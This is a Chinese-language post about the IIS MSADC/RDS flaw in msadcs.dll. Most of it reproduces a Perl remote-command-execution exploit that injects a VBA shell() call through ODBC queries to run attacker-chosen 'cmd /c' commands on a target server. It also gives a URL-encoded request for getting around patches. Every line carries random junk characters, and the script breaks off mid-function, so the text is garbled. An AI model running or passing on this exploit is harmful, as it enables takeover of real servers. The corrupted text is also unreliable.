IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
17%,7P9pg FF`T\&u 涉及程序:
by1<[$8r Microsoft NT server
Olt?~} #?U}&Bd 描述:
,*TmIPNK 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
.LnGL]/ B:yGS*.tu 详细:
8?#/o c 如果你没有时间读详细内容的话,就删除:
rK6l8)o c:\Program Files\Common Files\System\Msadc\msadcs.dll
i4Q@K,$ 有关的安全问题就没有了。
O'p9u@kc I#Y22&G1 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
E1aHKjLQ O_muD\ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
njB;&N)I 关于利用ODBC远程漏洞的描述,请参看:
oQ/E}Zk@ ?DS@e@lx http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm c(f T?CdZc. 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
ouvA~/5 http://www.microsoft.com/security/bulletins/MS99-025faq.asp %ufN8w!p Af~$TyX 这里不再论述。
-e"H ^: 6xx<Y2@ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
~~/|dh5 9IdA%RM~mH /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
\$~|ZwV{ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
#K_ii)n [B*x-R[FI HTv2# #将下面这段保存为txt文件,然后: "perl -x 文件名"
}<0BX \@I } ^~F| #!perl
`!3SF|x& #
@|Cz-J;D # MSADC/RDS 'usage' (aka exploit) script
Tt`u:ZwhF #
#'nr
Er < # by rain.forest.puppy
U/66L+1 #
xf\ C|@i # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
:(U,x<> # beta test and find errors!
Fo (fWvz hlvK5Z use Socket; use Getopt::Std;
Jc&{`s^Nu getopts("e:vd:h:XR", \%args);
x$A+lj]x xA2YG|RU=b print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
n:I,PS0H< c)6m$5] if (!defined $args{h} && !defined $args{R}) {
^KnU4sD print qq~
.O5Z8 p Usage: msadc.pl -h <host> { -d <delay> -X -v }
kUL'1!j7 -h <host> = host you want to scan (ip or domain)
RtkEGxw*^ -d <seconds> = delay between calls, default 1 second
/Y:sLGQLD -X = dump Index Server path table, if available
WH#1zv -v = verbose
> ym,{EHK -e = external dictionary file for step 5
rQ{7j!Im )` Sr fGp8 Or a -R will resume a command session
&)#
ihK_ b"<liGh"n- ~; exit;}
/e5O"@ :[.vM $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
IEL%!RFG if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
6fE7W>la if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
7~G9'P< if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
.Bl\Z $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
XFVE>/H if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
fh&nu"& {Y(zd[ if (!defined $args{R}){ $ret = &has_msadc;
yM6pd U]i die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Z\bmW%av <yV"6/l0 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
,i^9 |Oeq . "cmd /c ";
k$^UUo6 $in=<STDIN>; chomp $in;
G{As,`{ $command="cmd /c " . $in ;
ih-#5M@ gMi0FO' if (defined $args{R}) {&load; exit;}
//up5R_nx kYE9M8s; print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
<`8n^m* &try_btcustmr;
{ T/[cu< T=
8 0, print "\nStep 2: Trying to make our own DSN...";
@o].He@L<j &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
B-RjMxX4> `P@< 3] print "\nStep 3: Trying known DSNs...";
Y,qI@n< &known_dsn;
hk;5w{t}} v4a8}G print "\nStep 4: Trying known .mdbs...";
+qN>.y!Y &known_mdb;
;}I:\P '0;l]/i. if (defined $args{e}){
)NW)R*m~D print "\nStep 5: Trying dictionary of DSN names...";
c8 )DuJ#U &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
+)AG* aL\PGdgO print "Sorry Charley...maybe next time?\n";
h6Ub}(Ov exit;
:^lI`9'*R LRxZcxmy ##############################################################################
i]c!~` O#4&8>;= sub sendraw { # ripped and modded from whisker
i'<[DjMDlm sleep($delay); # it's a DoS on the server! At least on mine...
: g7@PJND my ($pstr)=@_;
F@D`N0Pte socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
`{@8Vsmy: die("Socket problems\n");
RT4x\&q if(connect(S,pack "SnA4x8",2,80,$target)){
q_: 4w$> select(S); $|=1;
"`/h#np print $pstr; my @in=<S>;
Qab>|eSm select(STDOUT); close(S);
+uF>2b6' return @in;
J'6PmPzY| } else { die("Can't connect...\n"); }}
Xz6<lLb df8k7D;~e ##############################################################################
l ~"^7H?4e l
K{hVqpt sub make_header { # make the HTTP request
olB.*#gA my $msadc=<<EOT
o+iiSTJEe POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
.D"m@~j7 User-Agent: ACTIVEDATA
+yG~T Host: $ip
tn\yI!a Content-Length: $clen
-vo})lO Connection: Keep-Alive
PudS2k_Qv vQG5*pR*w ADCClientVersion:01.06
@Rze|
T. Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
P-_6wfg,;> Rxt^v+ ,$ --!ADM!ROX!YOUR!WORLD!
[C 7^r3w Content-Type: application/x-varg
e-/&$Qq Content-Length: $reqlen
]"As1" r.=K~A EOT
R{`(c/%8 ; $msadc=~s/\n/\r\n/g;
6?gW-1mY return $msadc;}
(*9$`!wS C\3rJy(VJ ##############################################################################
FW;?s+Uyx ]Jg&VXrH sub make_req { # make the RDS request
S&5&];Ag my ($switch, $p1, $p2)=@_;
H\" sgoJ my $req=""; my $t1, $t2, $query, $dsn;
[o#oak{U qCC.^8 if ($switch==1){ # this is the btcustmr.mdb query
h]&GLb&<? $query="Select * from Customers where City=" . make_shell();
wD}l$& + $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
.&iawz $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
W&W5lArr #<"~~2? elsif ($switch==2){ # this is general make table query
JPI3[.o $query="create table AZZ (B int, C varchar(10))";
BQHVQs $dsn="$p1";}
IJp-BTO{V dh\'<|\K elsif ($switch==3){ # this is general exploit table query
G^|:N[>B $query="select * from AZZ where C=" . make_shell();
=+-UJo5 $dsn="$p1";}
oAVnK[EMq` wc@X.Q[ elsif ($switch==4){ # attempt to hork file info from index server
e`_LEv $query="select path from scope()";
r| wS<cA2 $dsn="Provider=MSIDXS;";}
s-!ArB, #pow ub elsif ($switch==5){ # bad query
e;q!6% $query="select";
w$iX.2|9%u $dsn="$p1";}
@Sn(lnlB &{n.]]%O. $t1= make_unicode($query);
j?\Qh $t2= make_unicode($dsn);
vkV0On $req = "\x02\x00\x03\x00";
a 7V-C $req.= "\x08\x00" . pack ("S1", length($t1));
*!t/"b $req.= "\x00\x00" . $t1 ;
Y=?3 js?O $req.= "\x08\x00" . pack ("S1", length($t2));
;u
({\K $req.= "\x00\x00" . $t2 ;
Zd%k*BC $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
:uS\3toj return $req;}
=U9*'EFr &vMb_;~B ##############################################################################
/ &5,3rU.G r.&Vw|*> sub make_shell { # this makes the shell() statement
[#vH'y return "'|shell(\"$command\")|'";}
hpX9[3 ZgcMv,= ##############################################################################
',@3>T** ibk6|pp sub make_unicode { # quick little function to convert to unicode
>Eto(
y"q my ($in)=@_; my $out;
K#d`Hyx for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
;(Or`u]Dr return $out;}
9ULQrq$? S!CC
}3zw ##############################################################################
WIxy}3_to qS$Ox?Bw#u sub rdo_success { # checks for RDO return success (this is kludge)
:J@gmY:C my (@in) = @_; my $base=content_start(@in);
V! A~K
if($in[$base]=~/multipart\/mixed/){
,/I.t DH return 1 if( $in[$base+10]=~/^\x09\x00/ );}
prF%.(G2) return 0;}
^A/k)x6 `p-cSxR_ ##############################################################################
83\pZ1>)_ 3z?> j] sub make_dsn { # this makes a DSN for us
B%b4v my @drives=("c","d","e","f");
D2eckLT print "\nMaking DSN: ";
D?_Zl;bQ'^ foreach $drive (@drives) {
}@+0/W?\. print "$drive: ";
YnAm{YyI my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
J/aC}}5D "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
CYP q#rd . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
.@U@xRu7| $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
i$G@R% return 0 if $2 eq "404"; # not found/doesn't exist
\V8PhO;j if($2 eq "200") {
@o _}g !9= foreach $line (@results) {
*vxk@`K~ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
HyZqUbHa } return 0;}
ZhaP2pC%4 osAd1<EIC ##############################################################################
*)T^ChD, "ne?P9'hF sub verify_exists {
(Zrj_P`0[ my ($page)=@_;
0&|\N
? 8_ my @results=sendraw("GET $page HTTP/1.0\n\n");
E,U+o $ return $results[0];}
,T$U'&; &
G4\2l9 ##############################################################################
mSF(q78? E
A1?)|}n sub try_btcustmr {
WiR(;m<g my @drives=("c","d","e","f");
]Ie 0S~ my @dirs=("winnt","winnt35","winnt351","win","windows");
*zvx$yJ? (exa<hh foreach $dir (@dirs) {
b9HtR -iR; print "$dir -> "; # fun status so you can see progress
6j]0R*B7`Q foreach $drive (@drives) {
]MitOkX print "$drive: "; # ditto
*fS"ym@ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
3$>1FoSk $reqlenlen=length( "$reqlen" );
6Y?|w 3f
$clen= 206 + $reqlenlen + $reqlen;
Fj3a.' 0gr/<v my @results=sendraw(make_header() . make_req(1,$drive,$dir));
7*A],:-q if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
>W+%8e else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
!ons]^km MaQqs= ##############################################################################
9vc2VB$ }@q`%uzi sub odbc_error {
FbFPJ !fb my (@in)=@_; my $base;
37.S\gO] my $base = content_start(@in);
K;H&n1 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
YfKdR"i+. $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8^+%I/S$ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qWPkT$ u $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
rcG"o\g@+ return $in[$base+4].$in[$base+5].$in[$base+6];}
,m|h<faZL print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
u^I|T.w<r6 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
j-}O0~Jz $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
<^jQo<kU '4Bm;&6M ##############################################################################
EUX\^c]n O;jrCB sub verbose {
aSQ#k;T[ my ($in)=@_;
$Sip$\+* return if !$verbose;
Vv=. -&' print STDOUT "\n$in\n";}
L^?qOylu +lcbi ##############################################################################
4p;`C :J&oX
<nF^ sub save {
Ka
V8[|Gn, my ($p1, $p2, $p3, $p4)=@_;
MH\dC9%p open(OUT, ">rds.save") || print "Problem saving parameters...\n";
\V~eVf;~ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Moza".fiN close OUT;}
H40p86@M 2-EIE4ds ##############################################################################
5e^ChK0Q D'DfJwA sub load {
v$wIm, j my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
qqY"*uJ' open(IN,"<rds.save") || die("Couldn't open rds.save\n");
oAeUvmh @p=<IN>; close(IN);
Z=o2H Bm7 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
3bH'H*2 $target= inet_aton($ip) || die("inet_aton problems");
}9OC,Y8?D print "Resuming to $ip ...";
j6 z^Tt12 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
y?? XIsF if($p[1]==1) {
x
g $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
d/kv|$XW $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
ndMA-`Ny, my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
dkTX if (rdo_success(@results)){print "Success!\n";}
&n:.k}/P else { print "failed\n"; verbose(odbc_error(@results));}}
QlU8uI[dk elsif ($p[1]==3){
&B1Wt